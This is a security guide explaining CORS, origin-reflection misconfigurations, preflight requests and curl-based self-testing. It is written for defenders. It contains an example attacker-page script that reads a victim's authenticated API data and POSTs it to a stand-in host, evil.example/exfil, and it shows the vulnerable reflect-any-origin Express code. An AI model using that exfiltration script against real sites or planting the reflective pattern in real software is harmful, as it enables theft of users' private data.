CORS has a public-relations problem: it is widely experienced as an obstacle ("why is my frontend calling my own API failing?!") when it is actually a defense — the only thing standing between your authenticated users' data and any website on the internet. The proof is what happens when CORS is configured wrong: an attacker's page, open in your user's browser, reads your API's authenticated responses directly. No XSS required, no CSRF token to bypass — the browser itself hands over the data because your server told it to.
This guide builds CORS from first principles (same-origin policy → the browser's trust mechanism), walks through the configurations that are genuinely dangerous versus the ones that merely look dangerous, and shows how to test your own setup honestly. The free security scan includes a CORS check that probes your endpoints the way an attacker's page would — with a foreign Origin header — and grades the response.
Table of contents
- The same-origin policy: what it protects
- How CORS actually works
- The misconfiguration that causes real breaches
- Wildcard CORS: usually fine, sometimes not
- Preflight requests and the OPTIONS handshake
- What CORS does NOT protect against
- How to test your CORS configuration
- Frequently asked questions
The same-origin policy: what it protects
The browser's core isolation rule, since Netscape 2.0: script running on origin A may not read data from origin B. An origin is scheme + host + port — https://app.example.com and https://api.example.com are different origins. So when your user is logged into app.example.com in one tab and opens evil.example in another, the browser keeps evil.example's JavaScript from reading anything app.example.com has: session cookies ride along on requests, but the responses are fenced off.
This is what makes cookies-with-credentials safe at all. The same-origin policy is why a bank tab and a random blog tab can coexist in one browser: the blog can ask the bank for your balance (the request will even include your banking session cookie), but it cannot read the answer.
The exceptions are carved out deliberately: <img>, <script>, CSS and form submissions can embed cross-origin content (that's how images from CDNs work), but they don't expose the response bytes to the embedding script's readable memory. Which leaves a legitimate problem: modern web apps are split across origins — SPA on app.example.com, API on api.example.com, assets on cdn.example.com. The frontend needs to read those responses. CORS is the standardized way for origin B to say, per-response, "origin A may read this."
How CORS actually works
CORS is entirely browser-enforced and entirely header-driven. Two headers do most of the work:
1. The client sends Origin. Every cross-origin request carries an Origin header naming the requesting origin — and this is the security-critical property: the browser controls the Origin header; JavaScript cannot forge or suppress it. When an attacker's page at https://evil.example fetches your API, the request arrives with Origin: https://evil.example, verifiably.
2. The server answers with Access-Control-Allow-Origin (ACAO). This is the server's decision, per response, of which origins may read it. The browser compares the response's ACAO value against the request's Origin and enforces: match → deliver the response body to the calling script; no match or no header → response delivered to the network layer, but hidden from the script.
So the trust flow is: browser asks "who's calling?" (unforgeably), server answers "this origin may read", browser polices the rest. Every CORS vulnerability is a failure of that second step — the server answering too generously.
A subtlety that matters for the dangerous case below: for requests that include cookies or HTTP auth (credentialed requests), the server must also send Access-Control-Allow-Credentials: true, and the ACAO value must be the specific origin — the spec forbids * with credentials. When you see a server that echoes any origin and allows credentials, that combination wasn't an accident of the spec; it's almost always a misimplementation.
The misconfiguration that causes real breaches
The canonical CORS breach is origin reflection with credentials. A server trying to support multiple trusted frontends implements this pattern:
// Node/Express — the vulnerable pattern
app.use((req, res, next) => {
// "Allow whatever origin the request came from" — looks like dynamic
// configuration, is a breach.
res.setHeader("Access-Control-Allow-Origin", req.headers.origin);
res.setHeader("Access-Control-Allow-Credentials", "true");
next();
});
The attack: victim is logged into app.example.com (session cookie set). They open https://evil.example — via phishing link, malvertising, an attacker's writeup — and that page runs:
// attacker's page
const resp = await fetch("https://app.example.com/api/user/data", {
credentials: "include", // browser attaches the session cookie
});
const data = await resp.json(); // because ACAO echoed evil.example...
await fetch("https://evil.example/exfil", {
method: "POST",
body: JSON.stringify(data), // ...the script can read it
});
Step by step: the fetch carries Origin: https://evil.example; the vulnerable server echoes it back as ACAO and adds Allow-Credentials: true; the browser sees a match with credentials permitted and delivers the response — including Set-Cookie-authenticated JSON — to the attacker's script. The victim sees nothing. This has produced real-world breaches (Uber's 2017 researcher disclosure via a reflected subdomain is the classic public case study) and keeps recurring wherever someone implements "reflect the origin, always allow credentials."
Variants of the same bug that pass naive reviews:
- Reflecting only "trusted-looking" origins via substring match —
if (origin.includes("example.com"))happily allowshttps://evil-example.comandhttps://example.com.evil.example. - Allowing
nullorigin —Access-Control-Allow-Origin: nullcombined with credentials; a sandboxed iframe or a redirect chain can produceOrigin: null, and attackers can craft it too. - Prefix/suffix allowlist mistakes — allowing
*.example.comby regex while matching against a non-anchored pattern.
The correct implementation is an explicit allowlist with exact matching:
const ALLOWED = new Set(["https://app.example.com", "https://staging.example.com"]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (ALLOWED.has(origin)) { // exact string match
res.setHeader("Access-Control-Allow-Origin", origin);
res.setHeader("Vary", "Origin"); // cache correctness — see below
res.setHeader("Access-Control-Allow-Credentials", "true");
}
next();
});
Note the Vary: Origin: responses now differ per origin, so every cache (CDN, proxy, browser) must key on it. Forgetting this causes a second class of production incident — a CDN caches your API response for one origin and serves it to another — which is a data leak without any malicious code involved.
Wildcard CORS: usually fine, sometimes not
Access-Control-Allow-Origin: * has a bad reputation it only partly deserves. The spec (and browsers) refuse to combine * with credentialed requests — cookies are not attached when ACAO is *, and the browser hides the response even if the user has a session. So for a public, unauthenticated API — version manifests, public status endpoints, open datasets — wildcard CORS is the correct configuration: it's what lets documentation pages, dashboards and third parties read your public data.
The wildcard becomes a problem in two cases:
- Wildcard +
Access-Control-Allow-Credentials: true. Browsers reject the combination (treat it as no CORS), but non-browser clients — and some hand-rolled server implementations that "helpfully" echo the origin instead of sending*when credentials are requested — effectively produce the reflected-origin bug. A server emitting both headers at once is misconfigured; if you see it on your endpoints, fix it before anything else. - Wildcard on state-changing endpoints.
Access-Control-Allow-Methods: GET, POST, PUT, DELETEwith*on an endpoint that has no other CSRF protection is risky: cross-origin simple requests (form-encoded POSTs) don't need CORS at all, and if the API relies purely on session cookies, wildcard CORS plus missing CSRF protection means any origin can drive state changes. CORS is not a CSRF defense (see below) — but wildcard CORS on cookie-authenticated mutating endpoints is a strong smell that no real defense is in place.
The scan grades these distinctly: reflected origin (the breach) is the high-severity finding; wildcard-with-dangerous-methods and wildcard-with-credentials are flagged as configuration risks; plain wildcard on public endpoints and no-CORS-at-all (the browser default, restrictive) record as passes.
Preflight requests and the OPTIONS handshake
Before sending "non-simple" cross-origin requests — anything with custom headers (an Authorization bearer token, say) or methods beyond GET/HEAD/POST — the browser sends an OPTIONS preflight and asks permission first:
OPTIONS /api/user/data HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: authorization
The server must answer:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: authorization
Access-Control-Max-Age: 86400
Only then does the browser send the real DELETE. Two operational notes:
Access-Control-Max-Agecaches the preflight verdict browser-side; without it, every single cross-origin DELETE pays the OPTIONS round-trip. The scan flags configured methods with a missing Max-Age as a low-severity latency finding (browsers cap the value — Chrome at 2 hours — but an explicit day is the norm).- Preflight responses are a separate surface from actual responses. A server that carefully protects
GET /api/databut answers preflights withAllow-Origin: *and a fat method list has not leaked data (the browser still hides the real response from non-allowlisted origins) — but it has misconfigured intent, and the combination with reflected-allowlist code is how the real bug creeps in later.
One more footgun: preflights are invisible in normal app traffic and are the first thing broken by new API gateways, WAFs or proxies that don't forward OPTIONS. If your SPA suddenly fails after an infrastructure change, reproduce the preflight with curl before suspecting your frontend.
What CORS does NOT protect against
Because CORS failures are loud and CORS headers look like security config, it's worth being precise about what this mechanism is not:
- CORS is not CSRF protection. CSRF-relevant "simple" requests (HTML form POSTs, image GETs) predate CORS and are never preflighted; the browser sends them cross-origin with cookies regardless of any ACAO header. A same-site-strict cookie setup or CSRF tokens defends those; CORS does not, and its absence or presence changes nothing about them.
- CORS is not authentication. A missing ACAO header does not "lock down" an endpoint. curl, Python, server-side proxies and every non-browser client ignore CORS entirely — your "hidden" API was never hidden. If an endpoint must stay private, authenticate it; if data must not leave, don't serve it to the requester.
- CORS does not stop the request. The browser sends the request and receives the response; it just withholds the bytes from the calling script. (For defenses that block, that's what CSP
connect-srcdoes for your own pages — a different layer, covered in the headers guide.)
The mental model that keeps this straight: CORS governs who may read cross-origin responses from inside a browser. Everything else — authn, authz, CSRF, confidentiality — lives in other layers and must be enforced there.
How to test your CORS configuration
An honest test sends requests the way an attacker's page would — cross-origin, with credentials — and inspects what comes back:
# 1. Does the endpoint reflect a foreign origin?
curl -sI -H "Origin: https://evil-attacker-example.com" \
https://api.example.com/api/user/data | grep -i "access-control-"
# 2. The dangerous combination to look for:
# Access-Control-Allow-Origin: https://evil-attacker-example.com
# Access-Control-Allow-Credentials: true
# → reflected origin + credentials = breach on every authenticated route.
# 3. Wildcard check on the same endpoint:
curl -sI https://api.example.com/api/user/data | grep -i "access-control-"
# 4. Preflight health for real cross-origin usage:
curl -s -X OPTIONS -H "Origin: https://app.example.com" \
-H "Access-Control-Request-Method: DELETE" \
-D - -o /dev/null https://api.example.com/api/user/data
Judgment guide: reflection of the exact foreign origin → fix immediately (and audit Vary: Origin on any CDN-fronted route). Wildcard on public GETs → fine. No CORS headers at all → the browser default, fine unless your own frontend needs them. Allowlist echo of your origins → correct, provided matching is exact.
The scan automates this: it sends a foreign-Origin GET against your URL, inspects the full Access-Control-* set (including Expose-Headers — worth reviewing, since it makes otherwise-hidden response headers readable cross-origin), grades the combination, and records the observed headers as evidence so you can see exactly what a foreign page would receive.
Frequently asked questions
Why do I get CORS errors in development but not production?
Your frontend and API share an origin in production (same scheme/host/port, often behind one nginx) but not locally (localhost:3000 vs localhost:8080). Configure CORS allowlists to include your dev origins explicitly — never fall back to reflecting arbitrary origins "for dev".
Does CORS protect my API from curl and Postman?
No. CORS is browser-only. Server-to-server clients ignore it entirely. Authentication and authorization must protect the endpoint itself.
Is Access-Control-Allow-Origin: * ever dangerous?
For public, unauthenticated, GET-style endpoints: no — it's the standard choice. It becomes a problem when combined with credentials (either directly, or via implementations that echo origins when credentials are present) or on state-changing, cookie-authenticated endpoints that lack CSRF defenses.
Can I use CORS to stop hotlinking or scraping?
No — it only affects in-browser reads. Hotlinking is a Referer/CSP/signed-URL problem; scraping is rate-limiting and auth. CORS changes none of it.
What's the Vary: Origin warning about?
When ACAO varies by origin, any cache storing the response without keying on Origin can serve origin A's headers (and body) to origin B. CDNs have caused real data leaks this way. Always send Vary: Origin alongside a dynamic ACAO.
The free security scan probes your endpoints with a foreign origin and reports exactly what a malicious page could read — alongside TLS, headers and seventeen other checks.
Remote Daemon